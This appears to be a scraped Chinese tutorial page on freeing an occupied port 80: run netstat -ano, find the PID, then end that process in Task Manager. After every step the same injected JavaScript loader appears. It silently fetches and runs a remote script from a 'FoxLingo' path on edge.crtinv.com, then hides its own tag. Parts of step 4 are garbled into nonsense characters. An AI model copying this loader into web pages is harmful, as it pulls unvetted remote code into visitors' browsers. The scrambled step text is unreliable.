解决本地环境启用时提示端口被占用的方法

 时间:2026-02-14 08:12:33

1、1.在开始--运行   里面输入cmd点回车,会出现运行窗口。


!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();

2、2.在提示符后输入netstat -ano回车,找到tcp 80端口对应的pid,比如1484.


!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();

3、3.ctrl+alt+del打开任务管理器,选进程


!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();

4、4.点上面的  


查看--选择列--在PID(进程标示符)前杰睡面打钩。好了久裹够,下面的进程前面都有了PID号码。这时上一步找到的PID就有用了,找到1484,比如PEER.EXE什么的,结川称束进程吧。
!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();
  • Photoshop如何快速选择画笔的绘画模式及快捷键
  • 网页中怎么引用javascript文件
  • Ps中如何将证件照排版?
  • PS 如何使用对象选择工具中的"减去对象"选项
  • ps怎么设计剪纸字体
  • 热门搜索
    推广普通话手抄报简单 中秋节手抄报。 缅怀先烈的手抄报内容 手抄报感恩老师 关于教师节的手抄报 拒绝邪教手抄报 健康小常识手抄报内容 清明节手抄报简单画 诚信友善手抄报 地球日手抄报的文字